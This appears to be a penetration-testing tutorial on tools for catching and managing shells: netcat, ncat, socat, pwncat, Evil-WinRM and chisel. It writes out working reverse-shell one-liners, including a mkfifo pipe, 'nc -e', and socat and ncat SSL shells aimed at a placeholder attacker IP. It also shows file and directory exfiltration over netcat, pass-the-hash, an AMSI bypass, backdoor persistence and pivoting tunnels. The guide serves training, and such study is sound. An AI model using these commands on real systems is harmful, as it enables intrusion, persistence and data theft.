A shell is only as good as the tool catching it. Most people learn netcat, use it for everything, and never look further. That works until it does not — until you need file transfer mid-engagement, until the box needs an encrypted connection, until you are working a Windows target and need something that actually understands Windows. This section covers every shell tool worth knowing, what each one does that the others cannot, and exactly when to reach for each one.
🔰 Beginners: Netcat is where to start. Learn it fully before moving to the others. Each tool in this section builds on the concepts from the previous one.
⚡ Seasoned practitioners: The Pwncat automation and Socat advanced usage sections contain workflow improvements beyond standard usage.
Before you start — know these terms:
- Handler — the tool on your machine that receives incoming shell connections. Sometimes called a listener.
- Bind vs reverse — covered in Shell Types. Each tool supports both modes.
- Static binary — a compiled executable that includes all its dependencies inside the file itself. Can be uploaded and run on a target without installing anything. Critical for getting tools onto minimal systems.
- Port forwarding — redirecting traffic from one port or address to another. Socat excels at this.
- Netcat — The Foundation
- Ncat — The Modern Upgrade
- Socat — The Powerhouse
- Pwncat — The Post-Exploitation Platform
- Evil-WinRM — Windows Specialist
- Chisel — Tunneling and Port Forwarding
- Tool Decision Guide
Plain English: Netcat is the Swiss army knife of networking. It opens TCP and UDP connections, listens on ports, transfers data, and does almost anything that involves moving bytes between two machines over a network. In penetration testing it is primarily used as a shell listener — the tool that waits for reverse shells to connect.
It has been around since 1995 and is installed on virtually every Linux system. It is the first tool to learn and the one you will use most often.
# Kali Linux — pre-installed
nc --version
# Ubuntu / Debian
sudo apt install netcat-openbsd # OpenBSD version (no -e flag)
sudo apt install netcat-traditional # GNU version (has -e flag)
# macOS
brew install netcat
# macOS ships with a basic nc — Homebrew version has more features
# Windows
# Download nc.exe from:
# https://github.com/int0x33/nc.exe/
# Or use ncat from the nmap installer (nmap.org)
# Or use WSL2 with Kali# ── Listening (receiving shells) ─────────────────────────
# Basic listener
nc -lvnp 4444
# With rlwrap for better shell experience (arrow keys, history)
rlwrap nc -lvnp 4444
# Listen on multiple ports simultaneously
# Run each in a separate terminal
nc -lvnp 4444 # primary
nc -lvnp 5555 # secondary / backup
# ── Connecting ──────────────────────────────────────────
# Connect to a bind shell on the target
nc TARGET-IP 4444
# Connect to check if a port is open
nc -zv TARGET-IP 80
nc -zv TARGET-IP 22
# Port scan a range (slow — use nmap for real scanning)
nc -zv TARGET-IP 1-1000
# ── File Transfer ────────────────────────────────────────
# Receive a file (on your machine)
nc -lvnp 4444 > received_file.txt
# Send a file (on target)
nc YOUR-IP 4444 < file_to_send.txt
# Transfer a directory (pipe tar through netcat)
# On receiver:
nc -lvnp 4444 | tar xvf -
# On sender:
tar cvf - /path/to/directory | nc YOUR-IP 4444
# ── Banner Grabbing ──────────────────────────────────────
# Connect and see what a service says
nc -nv TARGET-IP 80
# Then type: GET / HTTP/1.0
# Press Enter twice
nc -nv TARGET-IP 22 # SSH banner
nc -nv TARGET-IP 25 # SMTP banner
nc -nv TARGET-IP 21 # FTP bannerOpenBSD netcat (nc -h shows -N flag):
→ Default on modern Ubuntu, Debian, Kali
→ Does NOT have -e flag
→ Cannot directly attach a shell to a connection
→ Use named pipe workaround for bind shells
GNU netcat / traditional (nc -h shows -e flag):
→ Older Debian/Ubuntu, CentOS, some others
→ HAS -e flag — can execute a program on connection
→ nc -e /bin/bash TARGET-IP 4444 ← works
→ nc -lvnp 4444 -e /bin/bash ← works as bind shell
Checking which version you have:
nc --version
nc -h 2>&1 | grep -i "\-e"
# If -e appears — you have GNU netcat
# If -e does not appear — you have OpenBSD netcatNamed pipe workaround for OpenBSD netcat:
# When -e is not available — use a named pipe
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR-IP 4444 > /tmp/f
# This creates a pipe that:
# → Feeds shell input from the netcat connection
# → Sends shell output back through the connection
# → Effectively does what -e would have done❌ No encryption — all traffic in plain text
❌ No file transfer UI — raw pipe only
❌ No shell upgrade — dumb shell only
❌ No authentication
❌ Single connection only — next connection replaces the first
❌ OpenBSD version has no -e flag
These limitations are why the other tools exist.
Plain English: Ncat is the modern reimplementation of netcat, maintained by the nmap project. It fixes netcat's biggest limitation by adding SSL encryption while keeping the same familiar interface. If you know netcat, you know ncat.
# Kali Linux — pre-installed with nmap
ncat --version
# Ubuntu / Debian
sudo apt install ncat
# Or install via nmap:
sudo apt install nmap
# macOS
brew install nmap # ncat comes with nmap
# Windows
# Download nmap installer from nmap.org
# ncat.exe is included in the nmap installation
# Default location: C:\Program Files (x86)\Nmap\ncat.exe# Same syntax as netcat for basic usage
ncat -lvnp 4444
# The key difference — SSL support
# Encrypted listener
ncat --ssl -lvnp 4444
# Encrypted reverse shell (on target)
ncat --ssl YOUR-IP 4444 -e /bin/bash
# Allow only specific IP to connect
ncat -lvnp 4444 --allow YOUR-IP
# Keep listener alive after connection closes (persistent listener)
ncat -lvnp 4444 -k
# Execute a program on each connection
ncat -lvnp 4444 -e /bin/bash
# Chat between two machines
# Machine 1: ncat -lvnp 4444
# Machine 2: ncat MACHINE1-IP 4444
# File transfer with progress
ncat -lvnp 4444 > file.txt # receiver
ncat TARGET 4444 < file.txt # senderUse ncat when:
✅ You need an encrypted shell (--ssl flag)
✅ You want a persistent listener (-k flag)
✅ You need to restrict who can connect (--allow)
✅ You want the -e flag reliably (ncat always has it)
✅ On Windows — ncat.exe from nmap is the most reliable option
Plain English: Socat stands for SOcket CAT — it creates bidirectional data streams between almost any two endpoints. While netcat connects one thing to another, socat can connect virtually anything to anything — TCP to UDP, files to sockets, processes to network connections — with much finer control over how each end behaves.
For shell work, socat is most valuable because it can create a proper PTY connection that is already fully upgraded — no stty manipulation needed.
# Kali Linux — pre-installed
socat -V
# Ubuntu / Debian
sudo apt install socat
# macOS
brew install socat
# Windows
# Option 1 — WSL2 with Kali (recommended)
# Option 2 — Download from:
# https://sourceforge.net/projects/unix-utils/
# socat.exe available for Windows
# Static binary for uploading to targets
# Download from:
# https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat# ── Fully upgraded shell from the start ─────────────────
# On YOUR machine — socat listener with TTY support
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On the TARGET — socat reverse shell with PTY
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444
# Breaking down the target command:
# exec:'bash -li' → run interactive login bash
# pty → allocate a pseudo terminal
# stderr → redirect stderr through connection
# setsid → create new session (protects from signals)
# sigint → pass Ctrl+C correctly
# sane → set sane terminal settings
# ── Bind shell with PTY ──────────────────────────────────
# On the TARGET — listen for incoming connection
socat tcp-listen:4444,reuseaddr,fork exec:'bash -li',pty,stderr,setsid,sigint,sane
# On YOUR machine — connect to it
socat file:`tty`,raw,echo=0 tcp:TARGET-IP:4444# Transfer a file — faster and more reliable than netcat for large files
# Receiver (on your machine)
socat tcp-listen:4444,reuseaddr open:received_file.txt,creat
# Sender (on target)
socat tcp:YOUR-IP:4444 file:file_to_send.txt
# Transfer with progress display
socat -u tcp-listen:4444,reuseaddr open:file.txt,creat
socat -u file:file.txt tcp:YOUR-IP:4444Plain English: Port forwarding redirects traffic from one address/port to another. Socat is excellent at this — useful when you need to expose an internal service or tunnel through a pivot point.
# Forward local port 8080 to internal target port 80
# Run on a compromised machine that can reach both networks
socat tcp-listen:8080,fork tcp:INTERNAL-TARGET:80
# Now connect to COMPROMISED-HOST:8080 to reach INTERNAL-TARGET:80
# Useful for reaching services that are only accessible internally
# Forward local port to a remote service
socat tcp-listen:3306,fork tcp:INTERNAL-DB:3306
# UDP port forwarding
socat udp-listen:53,fork udp:INTERNAL-DNS:53# Generate a self-signed certificate on your machine
openssl req -newkey rsa:2048 -nodes -keyout shell.key \
-x509 -days 362 -out shell.crt
# Combine into .pem
cat shell.key shell.crt > shell.pem
# Encrypted listener on your machine
socat openssl-listen:4444,cert=shell.pem,verify=0 \
file:`tty`,raw,echo=0
# Encrypted reverse shell on target
socat openssl:YOUR-IP:4444,verify=0 \
exec:'bash -li',pty,stderr,setsid,sigint,sanePlain English: Pwncat is what netcat would be if it were built specifically for penetration testing post-exploitation. It is not just a listener — it is a platform that handles shell management, file transfers, persistence, and enumeration, all from a single interface.
The key feature: when a reverse shell connects to pwncat, it automatically upgrades the shell to a full PTY. No manual Python PTY upgrade, no stty manipulation. It just works.
# Kali Linux
sudo apt install pwncat
# Or via pip (latest version):
pip3 install pwncat-cs
# Ubuntu / Debian / macOS
pip3 install pwncat-cs
# If pip3 install fails — try with --user flag
pip3 install --user pwncat-cs
# Windows — use WSL2 with Kali
# Inside WSL:
pip3 install pwncat-cs
# Verify
pwncat-cs --version# Listen for a reverse shell
pwncat-cs -lp 4444
# Connect to a bind shell
pwncat-cs TARGET-IP:4444
# Listen with specific host binding
pwncat-cs -lp 4444 -H 0.0.0.0
# Reconnect to a previous session
pwncat-cs --reconn --reconnect-host TARGET-IPPwncat has two modes — local (your machine) and remote (the target). Switch between them with Ctrl+D.
# You are in remote mode by default — typing runs on target
whoami
ls -la
cat /etc/passwd
# Switch to local mode
Ctrl+D
# Now you are at the pwncat prompt
(local) ←── you are here
# Switch back to remote mode
(local) back
# Or just press Enter# ── File Operations ──────────────────────────────────────
# Upload a file from your machine to the target
(local) upload /local/path/file.txt /remote/path/file.txt
# Download a file from the target to your machine
(local) download /remote/path/file.txt /local/path/
# ── Enumeration ─────────────────────────────────────────
# List available enumeration modules
(local) enumerate
# Run system enumeration
(local) enumerate.gather system.info
# Check sudo permissions
(local) enumerate.gather privesc.sudo
# Find SUID binaries
(local) enumerate.gather file.suid
# Find interesting files
(local) enumerate.gather file.caps
# ── Persistence ──────────────────────────────────────────
# Install persistence (backdoor)
(local) persist
# List persistence methods
(local) persist --list
# Remove persistence
(local) persist --remove
# ── Session Management ───────────────────────────────────
# List active sessions
(local) sessions
# Switch between sessions
(local) sessions -i SESSION_ID
# ── Useful Shortcuts ─────────────────────────────────────
# Run a local command on YOUR machine without leaving pwncat
(local) local ls
(local) local cat /etc/hosts
# Get help
(local) help
(local) help uploadNetcat workflow:
1. nc -lvnp 4444
2. Shell arrives — dumb shell
3. python3 -c 'import pty; pty.spawn("/bin/bash")'
4. Ctrl+Z
5. stty raw -echo; fg
6. export TERM=xterm
7. stty rows 38 columns 116
8. Manually transfer files (python web server + wget)
9. Manually run enumeration scripts
Pwncat workflow:
1. pwncat-cs -lp 4444
2. Shell arrives — fully upgraded automatically
3. Work
Plain English: WinRM (Windows Remote Management) is Microsoft's built-in remote management protocol. It is the Windows equivalent of SSH — a way to remotely manage Windows machines. When it is enabled (which it often is in enterprise environments), Evil-WinRM gives you a fully interactive PowerShell shell with built-in file transfer and script execution.
Evil-WinRM is the preferred tool for Windows shells when you have valid credentials — either a password or an NTLM hash.
# Kali Linux
sudo apt install evil-winrm
# Or via gem:
gem install evil-winrm
# Ubuntu / Debian / macOS (requires Ruby)
gem install evil-winrm
# Check Ruby is installed first
ruby --version
# If not installed:
# Ubuntu: sudo apt install ruby
# macOS: brew install ruby
# Windows — use WSL2 with Kali
# Evil-WinRM is a Ruby tool — easier in Linux environment# Connect with username and password
evil-winrm -i TARGET-IP -u username -p 'password'
# Connect with NTLM hash (pass-the-hash — no plaintext password needed)
evil-winrm -i TARGET-IP -u username -H NTLM_HASH_HERE
# Connect over SSL (port 5986)
evil-winrm -i TARGET-IP -u username -p 'password' -S
# Connect with certificate
evil-winrm -i TARGET-IP -u username -c cert.pem -k key.pem -S
# Connect with custom port
evil-winrm -i TARGET-IP -u username -p 'password' -P 5985
# Connect using domain account
evil-winrm -i TARGET-IP -u 'DOMAIN\username' -p 'password'# Once connected — standard PowerShell commands work normally
whoami
ipconfig
Get-Process
dir C:\Users
# ── File Operations ──────────────────────────────────────
# Upload a file from your machine to the target
upload /local/path/file.exe C:\Windows\Temp\file.exe
# Download a file from target to your machine
download C:\Windows\Temp\interesting.txt /local/path/
# ── Script Execution ─────────────────────────────────────
# Load a PowerShell script from your local machine
# (does not write the script to disk — loads into memory)
menu
# Shows available commands including script loading
# Load scripts on connection
evil-winrm -i TARGET-IP -u username -p 'password' \
-s /path/to/scripts/directory
# Once connected — load a script from the scripts directory
Invoke-PowerShellTcp -Reverse -IPAddress YOUR-IP -Port 5555
# ── Bypass Features ──────────────────────────────────────
# Bypass AMSI (Antimalware Scan Interface)
evil-winrm -i TARGET-IP -u username -p 'password' -b
# Disable SSL verification
evil-winrm -i TARGET-IP -u username -p 'password' -k
# ── Useful Built-in Commands ─────────────────────────────
# Show menu of available Evil-WinRM specific commands
menu
# Run a binary from your local machine on the target
Invoke-Binary /local/path/binary.exe
# Get a list of services
Get-Service
# Check who is logged in
query sessionPort 5985 → HTTP (unencrypted) → default
Port 5986 → HTTPS (encrypted) → use -S flag
# Check if WinRM is open on target
nmap -p 5985,5986 TARGET-IP
Plain English: Chisel creates encrypted tunnels through firewalls. When you have a shell on a machine but cannot directly reach internal services from your attack box, Chisel creates a tunnel through the compromised machine that lets your attack tools reach those internal services as if they were local.
Think of it like drilling a hole through a wall. The wall (firewall) blocks direct access. Chisel drills through via the compromised machine.
# Download pre-compiled binaries from:
# https://github.com/jpillora/chisel/releases
# Linux attack machine
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz
chmod +x chisel_linux_amd64
mv chisel_linux_amd64 /usr/local/bin/chisel
# macOS
brew install chisel
# Windows attack machine
# Download chisel_windows_amd64.gz from releases page
# Extract and use chisel.exe
# For uploading to Linux target
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
# For uploading to Windows target
# Download chisel_windows_amd64.gz# Scenario: You have a shell on COMPROMISED-HOST
# Internal service at INTERNAL-HOST:8080 is not reachable from you directly
# But COMPROMISED-HOST can reach it
# Step 1 — on YOUR machine, start chisel server
chisel server -p 9999 --reverse
# Step 2 — on COMPROMISED-HOST, run chisel client
./chisel client YOUR-IP:9999 R:8080:INTERNAL-HOST:8080
# Now access INTERNAL-HOST:8080 via localhost:8080 on YOUR machine
curl http://localhost:8080/
# Multiple tunnels at once
./chisel client YOUR-IP:9999 \
R:8080:INTERNAL-HOST:80 \
R:3306:INTERNAL-DB:3306 \
R:5432:INTERNAL-DB2:5432# Create a SOCKS proxy through the compromised machine
# Lets you route ALL your tools through the internal network
# On YOUR machine
chisel server -p 9999 --reverse
# On COMPROMISED-HOST
./chisel client YOUR-IP:9999 R:1080:socks
# Configure proxychains on your machine
# Edit /etc/proxychains4.conf and add:
socks5 127.0.0.1 1080
# Now run any tool through the internal network
proxychains nmap -sT INTERNAL-HOST
proxychains curl http://INTERNAL-HOST/
proxychains evil-winrm -i INTERNAL-WINDOWS-HOST -u admin -p passwordWhat do you need? Tool to use
────────────────────────────────────────────────────────────────
Quick shell catch nc -lvnp 4444
Better shell with history/arrows rlwrap nc -lvnp 4444
Automatic PTY upgrade pwncat-cs -lp 4444
Encrypted shell ncat --ssl -lvnp 4444
or socat with openssl
Fully upgraded shell from start socat file:`tty`,raw,echo=0 tcp-listen:4444
File transfer built in pwncat-cs or evil-winrm
Windows with credentials evil-winrm
Windows pass-the-hash evil-winrm -H HASH
Port forwarding / pivot socat (simple) or chisel (complex)
SOCKS proxy through pivot chisel
Multiple sessions managed pwncat-cs or Metasploit
Real engagement (stealth) ncat --ssl or socat with openssl
by SudoChef · Part of the SudoCode Pentesting Methodology Guide